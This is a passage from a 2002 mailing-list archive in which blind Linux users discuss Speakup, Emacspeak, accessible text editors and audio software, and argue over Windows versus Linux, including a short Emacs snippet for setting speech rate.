You go gal!  Tell it like it is, sister!  Amen and all that!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[charles crawford]

	Glad that alternative is out there.  Will folks take on yet
another complicated system that is a bear versus speakup?  No, not on my
side anyway.

-- charlie.


On Sat, 18 May 2002, Janina Sajka wrote:

> Well, I won't say emacspeak supports software speech, even though
> it does, because Raman would shoot me for calling emacspeak a
> screen reader.
>
> But, yasr runs with flite. I use it when I can't use speakup.
> It's not bad.
>
> On Sat, 18 May 2002, Alex Snow wrote:
>
> > What I'd really like to see in linux is a screen reader supporting software
> > speach.  That would make my life, and many other people's lives, much
> > easier.  You wouldn't have to lug your synth around with you all the time.
> > ----- Original Message -----
> > From: "Adam Myrow" <myrow@eskimo.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 3:29 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
> > > will be accessible when Gnome is?  So much depends on this.  I hope that
> > > not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> > > of the things that sounds cool about X is getting to choose your desktop
> > > like that.  In the mean time, has anybody encountered a financial package
> > > under the console of any decency?
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>

Re: interesting experiment.

[Ann Parsons]

Hi all,

Hmmmmm, I just saw titles in a certain place for about five books on
CGI scripting language.  I think if you do a search on CGI
documentation, maybe ask O'Reilly publishing to help you, things like
that, you will find the info you need.

Unfortunately, Teddy, I'm not a programmer.  I don't programm
computers.  But others on this list do.  If you can ask specific
questions about CGI programming and PERL, I'm sure you will find help.

We're willing to help you, but if you sit there and say, "Waaa, nobody
will help me..."  That will not make us willing to do that.  So start
reading and begin asking questions.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Yes, it does, go to the emacspeak site and get what you need.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: emacspeak

[brian Moore]

thanks much.

Brian.


*********** REPLY SEPARATOR  ***********

On 5/19/02 at 12:05 PM Saqib Shaikh wrote:

>Hi Brian,
>
>First of all there is an Emacspeak list. As for reading, there is the
>Emacspeak guide, and tutorial. All of this is available at
>emacspeak.sourceforge.net.
>
>As a quick answer to the rate question - you need to do c-e d r. You
can
>make this apply to all buffers rather than just the current buffer by
doing
>c-u c-e d r.
>
>Saqib
>----- Original Message -----
>From: "brian Moore" <admin@bmoore.yi.org>
>To: <speakup@braille.uwo.ca>
>Sent: Sunday, May 19, 2002 11:51 AM
>Subject: emacspeak
>
>
>> HI all, I am primarily a speakup user on my linux system, however,
>> yesterday, I was able to get emacspeak and via voice to actually
work
>> on my rh 7.3 system and would like to give this thing a really good
>> try.  I suspect there is a list for it but don't know where.
>>
>> also, does anyone have any quick pointers to docs I can read or
>> something to get familiar with using it and what things I may need
to
>> install to try mail, web browsing etc?   also, one urgent question.
>> the default speech rate is intolerabally slow.  I thought I could do
it
>> with control e and then I think f1 but couldn't get it to happen.
>> would like to get that changed asap because reading at that speed
>> drives me mad.
>>
>> thanks.  Brian.
>>
>>
>>
>> _______________________________________________
>> Speakup mailing list
>> Speakup@braille.uwo.ca
>> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>>
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Ann Parsons]

Hi all,

Sheesh, I'm not supposed to know this stuff.  Somebody correct me if
I'm wrong!  First, go to the Emacspeak site and read up on how to
install Emacspeak.  

Then, make sure you've installed the GCC libraries for Linux in your
distribution.  I think that's what they're called.  Next, I suggest
writing to O'Reilly and getting their book on Learning Emacs.  In
there, I think it's chapter 11 or 12 is a whole chapter on how to
program in Emacs.  

Good God, a good text editor, "sanctified feces" I like that
expression, Bill, thank you!  He wants a good text editor.  I think
Emacs would fill the bill nicely.  Now some folks would argue for VI,
but I like Emacs.  

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: Subject Lines

[David Poehlman]

if the show fits.  your subject of why windows should have been a bit
clearer.

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 3:26 AM
Subject: Subject Lines


I don't usually gripe about this, but try and keep subject lines
pertinent.

Thanx.

                    Rich

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: 18 May, 2002 11:59 PM
Subject: Re: interesting experiment.


Hi, thanks.

If you know a good text editor under Linux please tell me.
I really need one, but I couldn't find one better than pico.
I need it for editing Perl programs, not a word processor.

Well, under Windows, you don't need to remember anything at all.
You open a window, and it explains you what you should do there.
You have to press the space bar to check some checkboxes, to press some
buttons, etc, and if you don't know something, press shift+f10 (or the
right
mouse button and choose "what's this?" or press F1 to view the help file
wich is much much more easier to navigate than the man pages under
Linux.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 6:14 AM
Subject: Re: interesting experiment.


OK, let's take this one question at a time ...

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Are there any games accessible for the blind under Linux, like under
> Windows?
> Please tell me some web addresses.

I was with you until you said "like Windows." I have no idea
about Windows. I know nothing about it.

But, if you want games, you can find them. Maybe they're better,
maybe not. But they're out there. Emacs comes with games, and
some are speech enabled by emacspeak. The only game I really know
much about is gnu chess which can be obtained from
http://www.gnu.org.

I'm generally too interested in things to play games on my
computer. Last thing I'm likely to do, so I'm out of knowledge
here.

> Are there any good sound editing programs for Linux, like Sound Forge,
Cool
> Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
Walk?


There's ecasound and sox. Very accessible. And there's
gramophone. I recently came across a java midi patch editor, but
I haven't had the time to get it working yet to find out about
its accessibility. Admitedly, these are less functional than the
Windows apps you mention for many tasks. Is this what you do? Or
are these academic questions?

> Is there a text editor, that has macro features, Regular expressions,
the
> ability to save in Windows/Mac/Unix format, etc?

What is Mac format? I've never heard of that. And what is Windows
format?
And, why would you care?

Is there powerful text editing, formatting, scripting? Of course
there is. Far more powerful than in Windows or Mac. There are
probably too many to mention, actually. Linux/Unix has the
proprietary world beat hands down on this one.

Those format questions are themselves silly. You don't need them.
You certainly don't need them to communicate with anyone, or to
print out lovely reports, or design lovely e-content for on line
publishing, etc.

In fact, you do better to forget them and use the superior tools
available on Linux.

>
> ... Just a few things that camed to mind.
>
> A lot of things are accessible, but ... harder to learn, harder to
configure
> and harder to use, if I am not so bright to remember 1000 command line
> parameters.

Give me a break. Grow up. How do you remember 1,000 dialog boxes.
How do you remember where to tell windows to show extensions to
files, for example. Or how about finding your ethernet card's mac
address. Do you remember that? I could go on. This is another
bogus argument.

But, if you think the gui is actually superior, you're going to
lose this excuse soon enough. GNOME is coming. What sad song are
you going to sing then?

>
> Thank you for the links.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 9:59 PM
> Subject: Re: interesting experiment.
>
>
> On Sat, 18 May 2002, Darrell Shandrow wrote:
> > I just wish Linux were
> > a more viable general purpose workstation; I use Windows for that
purpose.
> >
> Hi, Darrell:
>
> Just wondering what you think is missing from Linux' desktop
> applications.
>
> In case this sounds loaded, it might be. The underlying question
> might be: Is it your knowledge deficit, or is it Linux itself?
> For my own experience in this matter, I've found it's my
> knowledge deficit almost without exception.
>
>
>
>
> ----------------------------------------------------------------------
----
--
> ----
>
>
>
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup






_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Dan Murphy]

Hi.  this may sound dumb, but where do I get Emacspeak?  I've been a
died-in-the-wool Speakup person for a long time, but I've heard that I
can run both simultaneously on different consoles, so now I'm curious.
thanks.
On
Sat, 18 May 2002, Ann Parsons wrote:

> Hi All,
>
> Again, Emacspeak was configured and written for the DecTalk card.  Use
> it.
>
> Ann P.
>
> --
> 			Ann K. Parsons
> email:  akp@eznet.net 			ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."  JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Dan Murphy
mailto:mweeby@earthlink.net
Let us not look back in anger or forward
in fear, but around us in awareness.
                -- James Thurber

Re: Why Windows?

[Alex Snow]

I'm a little wary of that .net crap.  I don't think that apps should share
so much information over the internet.  This can help promote spyware.  Has
anyone looked at kazaa lately? That's about 99.9% spyware.  There's a lot of
spyware on winblows systems, and I think winblows is spyware itself!
----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 4:05 AM
Subject: Why Windows?


> OK, I think windows exists for sighted people. I think that blind people
> need to use windows if they are doing sys-admin or other tasks which
require
> them to interact with windows, or dare I say, help a sighted person use
> their friendly little crash-prone boxes! <smile> I often think that the
> reason windows is so unstable is to keep us sys-admins employed!
> Hehehehehahahahe!
>
> Actually, I heard an interesting windblows tidbit the other day. In
windows
> 3.1, there was a concept called Object Linking and Embeding (OLE). It
allows
> one to put, say, a sound file within a spreadsheet, and embed all that
> within something else. In fact, this is what XML does for you, but those
> were the days long before XML. Anyhow, they were also the days before the
> internet became widely popular. The problem was that OLE was not at all
> secure. When the internet became more widely used, and malware began to
> spread, people realized that this stuff was very insecure. So Microsoft
> began building layer on top of layer to try and address these issues. By
the
> time the security problems were becomign more widely exployted, Microsoft
> had traveled too far down the OLE path, and could not give it up. I forget
> what all the crap on top of OLE was called, but the dot net stuff is
merely
> another layer on top of the broken OLE, so Microsoft security issues will
> forever be rearing their ugly heads, and Microslop will have to patch
every
> single one of them!! Hahahahehehehehehaha!
>
>                     Rich
>
> ----- Original Message -----
> From: "Deedra Waters" <curi0315@tampabay.rr.com>
> To: <speakup@braille.uwo.ca>
> Sent: 19 May, 2002 1:24 AM
> Subject: Re: interesting experiment.
>
>
> I think honestly that if beginners have an easy start it may help some in
> the long run. I honestly think that there are some people who want to
> learn but are having a hard time in which case, helping them can be
> useful.
>
> I'm bad at sitting and reading manpage after manpage trying to find
> things, and I was even worse at the beginning. I had a great deal of help
> in the beginning, and there was a lot I  didn't understand.
>
> I'm not really sure where I'm going with this accept to say that there are
> people who have a real hard time by just reading, and helping them, or
> trying to walk them threw some things  doesn't always mean that they need
> to be spoonfead
>
>
> On Sun, 19 May 2002, Toby Fisher wrote:
>
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > Hi, thank you.
> > > No, I don't like Windows. I don't use to play games because I don't
have
> the
> > > time.
> >
> > Oh now you don't know what you're missing, I can recommend GMA Games for
> > one, for a bit of light relief.
> >
> > <snip>
> >
> > > But I also don't like to see a lot of people from this list, nor
> > from any
> > > list, thinking that Linux is better than Windows.
> >
> > Actually, if you look carefully at most of what you view to be
> > anti-Windows comments, they are, in the main, aimed at the company that
> > spawned it.
> >
> > > Windows is better than Linux for multimedia development but Macintosh
is
> > > even better than Windows  for this thing.
> > >
> > > Some Unix graphic stations are better probably than Macintosh for
their
> > > purpose.
> >
> > Yes, but until very recently Macintosh had a problem with expensive
> > hardware, for example, on some power macs there was only 1 make of modem
> > you could use because of the connection it required; guess what, they're
> > not made any more so my friend is going to have to buy a new computer,
> > this is, imho, a potential problem which can arise when hardware and
> > software are made by the same company, as used to happen back in the big
> > mainframe days.
> >
> > <snip>
> >
> > > I like the Linux users to be a kind of helpful community, because
> > they are
> > > not very many, especially blind, but all the experimented people in
> linux
> > > give the beginners criptical commands without explaining too much,
RTFM,
> > > etc.
> >
> > I believe that there are reasons for this.
> >
> > First, what that person may want is a means to get up and running as
> > hasle-free as possible.  Second, explanation of the command may, and
note
> > I use the word may, cause confusion, until the person has read some
docs,
> > which they may be unable to do due to whatever problem it is that has
> > caused them to write to the list.
> >
> > Third, it does not help anyone, least of all the beginner, if they are
> > spoon-fed, as they may then be unable to help themselves if they are
ever
> > stuck without an internet connection, or otherwise unable to call on
> > required assistance.
> >
> > Cheers.
> >
> > --
> > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > ICQ: #61744808
> >    Please avoid sending me Word or PowerPoint attachments.
> >    See http://www.fsf.org/philosophy/no-word-attachments.html
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
>
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

Is there any console based audio editors that work under linux? I've seen
one listed on the speakup projects page, but it said that it was on hold
because there were alternate solutions out there.  What are those alternate
solutions?
----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 3:08 AM
Subject: Re: interesting experiment.


> Yes, I must second on the music stuff. The only reason I use windows and
> Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> accessible) music sequencing and audio editing environment. Writing such a
> beast is very difficult, nontrivial, very f*cking hard, and takes many
human
> years to accomplish.
> To be fair, some of this difficulty may have to do with its reliance on
> Windows and its very ugly GUI programming (yes, its as ugly to develope
> under as it is to use), and some of the complexity may have to do with its
> ability to deal with music notation, but its still a nontrivial task to
> write such a beast. My feeling is that a console based sequencing and
audio
> package like cakeWalk won't ever be created, because sighted people want
to
> use a GUI. When gnome comes on-line for us, we may have more options in
this
> regard. I've heard of mixers and effects processors which are x-windows
> based, but I'm not sure how well they work. I think there is a sequencer
or
> two as well for the X environment. The question is, are any of these as
good
> as cakeWalk? CakeWalk is a professional quality product in every way. The
> only thing nonprofessional about it is Windows!
>
> There is someone (Frank Carmichael, I believe) who has been working on the
> audio piece of this, so maybe he can chime in on this and tell me how
*wrong
> I am*! <smile>
>
> There is no way to create music the way I do without this program! It sux,
> but its unfortunately the case.
>
>                     Rich
>
> ----- Original Message -----
> From: "Octavian Rasnita" <orasnita@home.ro>
> To: <speakup@braille.uwo.ca>
> Sent: 18 May, 2002 8:37 PM
> Subject: Re: interesting experiment.
>
>
> Are there any games accessible for the blind under Linux, like under
> Windows?
> Please tell me some web addresses.
> Are there any good sound editing programs for Linux, like Sound Forge,
Cool
> Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
Walk?
>
> Is there a text editor, that has macro features, Regular expressions, the
> ability to save in Windows/Mac/Unix format, etc?
>
> ... Just a few things that camed to mind.
>
> A lot of things are accessible, but ... harder to learn, harder to
configure
> and harder to use, if I am not so bright to remember 1000 command line
> parameters.
>
> Thank you for the links.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 9:59 PM
> Subject: Re: interesting experiment.
>
>
> On Sat, 18 May 2002, Darrell Shandrow wrote:
> > I just wish Linux were
> > a more viable general purpose workstation; I use Windows for that
purpose.
> >
> Hi, Darrell:
>
> Just wondering what you think is missing from Linux' desktop
> applications.
>
> In case this sounds loaded, it might be. The underlying question
> might be: Is it your knowledge deficit, or is it Linux itself?
> For my own experience in this matter, I've found it's my
> knowledge deficit almost without exception.
>
>
>
>
> --------------------------------------------------------------------------
--
> ----
>
>
>
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
>
>
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

How would a person tern of that padmouse thing? My laptop had both the stick
and the pad, and I got rid of the stick but not the pad.  The stick used to
be right in the middle of the keyboard where I might hit it while typing.
----- Original Message -----
From: "Toby Fisher" <toby_fisher@bigfoot.com>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 1:55 AM
Subject: Re: interesting experiment.


> On Sun, 19 May 2002, Janina Sajka wrote:
>
> > Here's another one.
> >
> > Can one yet get a readable report on installed hardware under
> > Windows?
>
> Actually, to be fair, one can, and has done for at least a couple of years
> now.  I've used it to do such things as compile a hardware list to ease my
> transition to Linux, and also to turn off the glide mouse thingy on my
> laptop, you know, the thing that uses your finger, sleeveor whatever comes
> into contact with the pad as a pointer, and whose left and right buttons
> (yes, I know, why two buttons?) are in just the place where they're likely
> to get pressed when you least want/need.
>
>  > As I recall, there's such a
> thing, but it writes a graphical > file. Not at all as friendly as dmesg.
>
> I'll agree with you about dmesg, much nicer.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

emacspeak.sourceforge.net
----- Original Message -----
From: "Dan Murphy" <mweeby@earthlink.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:41 AM
Subject: Re: interesting experiment.


> Hi.  this may sound dumb, but where do I get Emacspeak?  I've been a
> died-in-the-wool Speakup person for a long time, but I've heard that I
> can run both simultaneously on different consoles, so now I'm curious.
> thanks.
> On
> Sat, 18 May 2002, Ann Parsons wrote:
>
> > Hi All,
> >
> > Again, Emacspeak was configured and written for the DecTalk card.  Use
> > it.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> Dan Murphy
> mailto:mweeby@earthlink.net
> Let us not look back in anger or forward
> in fear, but around us in awareness.
>                 -- James Thurber
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Igor Gueths]

Reading man pages was always how I learned stuff. If I ask someone could be from this list about something, I usually ask them where can I find the docs for so and so? Then I go, read the docs, and understand what I need to know to solve my particular problem. After a few days, I solve it and I don't have to worry about it not working ever again. Like my cd burner, all I had to do is compile in support for chr_sr and chr_sg and it worked fine after that. Now, when I do cdrecord -audio -dev=0,0,0 -v -eject or something like that, I can count on it working. I also used to use Irix a lot back in my shell account days, so I was already used to it. Just my two-sense. 
----- Original Message ----- 
From: Deedra Waters <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 1:24 AM
Subject: Re: interesting experiment.


> I think honestly that if beginners have an easy start it may help some in
> the long run. I honestly think that there are some people who want to
> learn but are having a hard time in which case, helping them can be
> useful.
> 
> I'm bad at sitting and reading manpage after manpage trying to find
> things, and I was even worse at the beginning. I had a great deal of help
> in the beginning, and there was a lot I  didn't understand.
> 
> I'm not really sure where I'm going with this accept to say that there are
> people who have a real hard time by just reading, and helping them, or
> trying to walk them threw some things  doesn't always mean that they need
> to be spoonfead
> 
> 
> On Sun, 19 May 2002, Toby Fisher wrote:
> 
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > 
> > > Hi, thank you.
> > > No, I don't like Windows. I don't use to play games because I don't have the
> > > time.
> > 
> > Oh now you don't know what you're missing, I can recommend GMA Games for
> > one, for a bit of light relief.
> > 
> > <snip>
> > 
> > > But I also don't like to see a lot of people from this list, nor
> > from any
> > > list, thinking that Linux is better than Windows.
> > 
> > Actually, if you look carefully at most of what you view to be
> > anti-Windows comments, they are, in the main, aimed at the company that
> > spawned it.
> > 
> > > Windows is better than Linux for multimedia development but Macintosh is
> > > even better than Windows  for this thing.
> > >
> > > Some Unix graphic stations are better probably than Macintosh for their
> > > purpose.
> > 
> > Yes, but until very recently Macintosh had a problem with expensive
> > hardware, for example, on some power macs there was only 1 make of modem
> > you could use because of the connection it required; guess what, they're
> > not made any more so my friend is going to have to buy a new computer,
> > this is, imho, a potential problem which can arise when hardware and
> > software are made by the same company, as used to happen back in the big
> > mainframe days.
> > 
> > <snip>
> > 
> > > I like the Linux users to be a kind of helpful community, because
> > they are
> > > not very many, especially blind, but all the experimented people in linux
> > > give the beginners criptical commands without explaining too much, RTFM,
> > > etc.
> > 
> > I believe that there are reasons for this.
> > 
> > First, what that person may want is a means to get up and running as
> > hasle-free as possible.  Second, explanation of the command may, and note
> > I use the word may, cause confusion, until the person has read some docs,
> > which they may be unable to do due to whatever problem it is that has
> > caused them to write to the list.
> > 
> > Third, it does not help anyone, least of all the beginner, if they are
> > spoon-fed, as they may then be unable to help themselves if they are ever
> > stuck without an internet connection, or otherwise unable to call on
> > required assistance.
> > 
> > Cheers.
> > 
> > -- 
> > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > ICQ: #61744808
> >    Please avoid sending me Word or PowerPoint attachments.
> >    See http://www.fsf.org/philosophy/no-word-attachments.html
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Hi Dan. If you have two hardware synths, running both in separate ttys will work. However, if you are using the same synth and Speakup is running, you're going to get i/o errors when you try to run both packages at the same time. One thing to try would be rebooting (I know Linux users like me hate rebooting their box), but you need to pass speakup_synth=none to lilo so that the dectalk module doesn't get loaded at boot time. Even if you hit print-screen to kill Speakup then run Emacspeak, this won't work because the Dectalk module doesn't give /dev/ttyS0 or whatever port you are using back to the kernel and say that its done with the device. I myself have been trying to correct this, but no success as of yet. 
----- Original Message ----- 
From: Dan Murphy <mweeby@earthlink.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:41 AM
Subject: Re: interesting experiment.


> Hi.  this may sound dumb, but where do I get Emacspeak?  I've been a
> died-in-the-wool Speakup person for a long time, but I've heard that I
> can run both simultaneously on different consoles, so now I'm curious.
> thanks.
> On
> Sat, 18 May 2002, Ann Parsons wrote:
> 
> > Hi All,
> >
> > Again, Emacspeak was configured and written for the DecTalk card.  Use
> > it.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."  JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> Dan Murphy
> mailto:mweeby@earthlink.net
> Let us not look back in anger or forward
> in fear, but around us in awareness.
>                 -- James Thurber
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

emacspeak

[Ann Parsons]

Hi all,

Well now, Brian.  First of all, try c-e dr for rate and choose 1-9 as
your range of options.  

Second, if you type c-h e you will get a list of emacspeak key
bindings for various commands.  

Third typing c-h t will plunk you into a tutorial for emacs.  that's
how you learn emacspeak, learn emacs.  

Finally, Try c-h i.  If you have this configured properly, it should
plunk you into the info files for everything you need.  

I don't know what things may be different when using software speech,
but try things, see what works.

As for accompanying programs.  Try w3 for your browser and vm for your
mailer.  Both have been speech enabled for Emacs. 

that should get you started.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: emacspeak

[Janina Sajka]

If you want to set the rate by default on launch, rather than
setting it by hand every time you launch, do something like the
following in your $HOME/.emacs file:

(declare (special 
outloud-default-speech-rate dtk-default-speech-rate))
(setq-default dtk-default-speech-rate 285
outloud-default-speech-rate 95)
(tts-configure-synthesis-setup)
(dtk-set-rate tts-default-speech-rate t)


PS: One of the cooler emacspeak features is the calendar. Check
it out with an m-x calendar. Read about the cool things you can
do with your calendar in the info pages.

Too bad there's no straight forward way to may your calendar
mobility sensitive, i.e. it's fairly tied to stationary
computing.

On Sun, 19 May 2002, Saqib Shaikh wrote:

> Hi Brian,
> 
> First of all there is an Emacspeak list. As for reading, there is the
> Emacspeak guide, and tutorial. All of this is available at
> emacspeak.sourceforge.net.
> 
> As a quick answer to the rate question - you need to do c-e d r. You can
> make this apply to all buffers rather than just the current buffer by doing
> c-u c-e d r.
> 
> Saqib
> ----- Original Message -----
> From: "brian Moore" <admin@bmoore.yi.org>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 11:51 AM
> Subject: emacspeak
> 
> 
> > HI all, I am primarily a speakup user on my linux system, however,
> > yesterday, I was able to get emacspeak and via voice to actually work
> > on my rh 7.3 system and would like to give this thing a really good
> > try.  I suspect there is a list for it but don't know where.
> >
> > also, does anyone have any quick pointers to docs I can read or
> > something to get familiar with using it and what things I may need to
> > install to try mail, web browsing etc?   also, one urgent question.
> > the default speech rate is intolerabally slow.  I thought I could do it
> > with control e and then I think f1 but couldn't get it to happen.
> > would like to get that changed asap because reading at that speed
> > drives me mad.
> >
> > thanks.  Brian.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

All right, Newbies, Listen Up!

There's something called Google. It's your friend. You use it
with your favorite web browser. It's real easy and it's lynx
friendly. And, it finds the answers to almost all of the "where
do I find" questions I've seen on this list in the last 6 months,
and puts them on the first screen of results.

Learn to use Google. Keep it open in a second console.

The field where you type in your search string is the fourth
field on the main Google screen. The submit button is the next
field.

This is not rocket science. It isn't even hard.

Re: Why Windows?

[Janina Sajka]

On Sun, 19 May 2002, Alex Snow wrote:

> I think winblows is spyware itself!

Indeed.

If you sign up for Passport you agree to let M$ track your
spending habits.

If you sign up for M$ Reader, you agree to let them know what
books you read.

Heck, they're probably going to know more about you than your
mother does.

Re: interesting experiment.

[Janina Sajka]

Alex:

There's both ecasound and sox, and they're both very powerful.
But, they work very differetnly from Sound Forge and Cool Edit.
Also, their documentation is not professionally written, even
though it is professional quality software.

In the realm of sound creation, there's the very classic Csound
available for linux. This is the grand old synthesis ware that
has been the bread and butter of major electronic music research
facilities like carma at Stanford and Earcom in Paris.

On Sun, 19 May 2002, Alex Snow wrote:

> Is there any console based audio editors that work under linux? I've seen
> one listed on the speakup projects page, but it said that it was on hold
> because there were alternate solutions out there.  What are those alternate
> solutions?
> ----- Original Message -----
> From: "Rich Caloggero" <rjc@MIT.EDU>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 3:08 AM
> Subject: Re: interesting experiment.
> 
> 
> > Yes, I must second on the music stuff. The only reason I use windows and
> > Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> > accessible) music sequencing and audio editing environment. Writing such a
> > beast is very difficult, nontrivial, very f*cking hard, and takes many
> human
> > years to accomplish.
> > To be fair, some of this difficulty may have to do with its reliance on
> > Windows and its very ugly GUI programming (yes, its as ugly to develope
